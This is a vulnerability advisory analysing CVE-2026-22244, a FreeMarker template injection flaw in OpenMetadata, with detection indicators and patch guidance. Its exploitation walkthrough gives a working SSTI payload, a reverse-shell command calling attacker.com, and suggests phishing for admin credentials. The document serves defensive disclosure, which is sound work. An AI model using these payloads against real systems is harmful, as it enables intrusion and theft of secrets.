CVE-2026-22244: 
Java vulnerability analysis and mitigation

CVE-2026-22244 is a Server-Side Template Injection (SSTI) vulnerability in OpenMetadata's FreeMarker email template rendering engine that enables authenticated administrators to achieve remote code execution (RCE). It affects all OpenMetadata versions prior to 1.11.4 and was disclosed on January 8, 2026, with a patch released in version 1.11.4. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.5 (High) (GitHub Advisory, Feedly).

The root cause lies in DefaultTemplateProvider.java (lines 35–45), where user-controlled email template content retrieved from the database is passed directly to FreeMarker's Template constructor without any security restrictions (CWE-1336, CWE-94). The FreeMarker Configuration object is instantiated without setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) or setAPIBuiltinEnabled(false), allowing attackers to use the freemarker.template.utility.Execute class to run arbitrary OS commands. An attacker with administrative privileges can modify an email template via the PATCH /api/v1/docStore/{templateId} API endpoint, injecting a payload such as <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}, which executes when the template is rendered during email dispatch (GitHub Advisory).

Successful exploitation grants the attacker arbitrary OS command execution as the OpenMetadata server process user, resulting in high confidentiality, integrity, and availability impact. Attackers can exfiltrate sensitive data including database credentials, API keys, JWT signing keys, and cloud provider secrets stored in environment variables; modify or delete platform data; and establish persistent reverse shell access. In containerized deployments (e.g., Kubernetes), this could enable lateral movement to connected data sources across OpenMetadata's 70+ connectors, potentially leading to supply chain compromise (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, demonstrated by the FPT Cloud AppSec Research Team against OpenMetadata v1.11.2. The CVSS v4.0 exploit maturity is rated PROOF_OF_CONCEPT. Exploitation requires administrative credentials but no user interaction, and the attack is network-accessible with low complexity. The EPSS score is approximately 0.0045 (0.45%), and there is currently no evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory, Feedly).

1. Obtain Admin Credentials: Acquire administrative credentials via phishing, credential stuffing, or other means. Authenticate to the OpenMetadata API to obtain a JWT access token via POST /api/v1/users/login.
2. Identify Target Template: Enumerate available email templates using GET /api/v1/docStore?entityType=EmailTemplate with the admin bearer token to retrieve template IDs (e.g., the testMail template ID).
3. Inject SSTI Payload: Send a PATCH /api/v1/docStore/{templateId} request with a JSON Patch body replacing the template content with a FreeMarker SSTI payload:

   [{"op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE: ${ex(\"whoami\")}"}]

4. Trigger Template Rendering: Initiate an email notification that uses the modified template, such as sending a test email via PUT /api/v1/system/email/test with a target email address. This requires SMTP to be configured or configurable.
5. Achieve RCE: The FreeMarker engine renders the malicious template and executes the injected OS command as the OpenMetadata server process user. For persistent access, replace the payload with a reverse shell: ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} (GitHub Advisory).

• Network: Unexpected outbound connections from the OpenMetadata server to external IPs (especially on non-standard ports like 4444); HTTP POST requests to attacker-controlled endpoints containing environment variable data.
• Logs: API access logs showing PATCH requests to /api/v1/docStore/{id} with application/json-patch+json content type from admin accounts; PUT requests to /api/v1/system/email/test shortly after template modifications; FreeMarker-related Java exceptions or stack traces in application logs.
• File System: Unexpected files written to the OpenMetadata working directory (e.g., /opt/openmetadata) or /tmp; new cron jobs or scripts created by the openmetadata OS user.
• Process: Unusual child processes spawned by the OpenMetadata JVM process (e.g., /bin/bash, curl, wget, python, nc); outbound network connections initiated by the Java process to unexpected hosts (GitHub Advisory).

Upgrade OpenMetadata to version 1.11.4 or later, which patches the vulnerability by adding sandboxed FreeMarker configuration: setting setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) and setAPIBuiltinEnabled(false) in DefaultTemplateProvider.java. The patch commit also updates dependency versions (FreeMarker and AWS SDK) (GitHub Patch Commit). As interim mitigations, restrict administrative access to trusted personnel only, audit recent changes to email template configurations via the docStore API, and monitor access logs for unauthorized admin activity or suspicious PATCH requests to template endpoints (GitHub Advisory).

The vulnerability was discovered and reported by the FPT Cloud AppSec Research Team (researchers @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14) and disclosed via GitHub's coordinated disclosure process. The advisory was published on January 7–8, 2026, and received coverage from automated CVE tracking services including Vulners, VulDB, and CVEFeed. No significant broader media coverage or notable public researcher commentary beyond the original advisory has been identified (GitHub Advisory).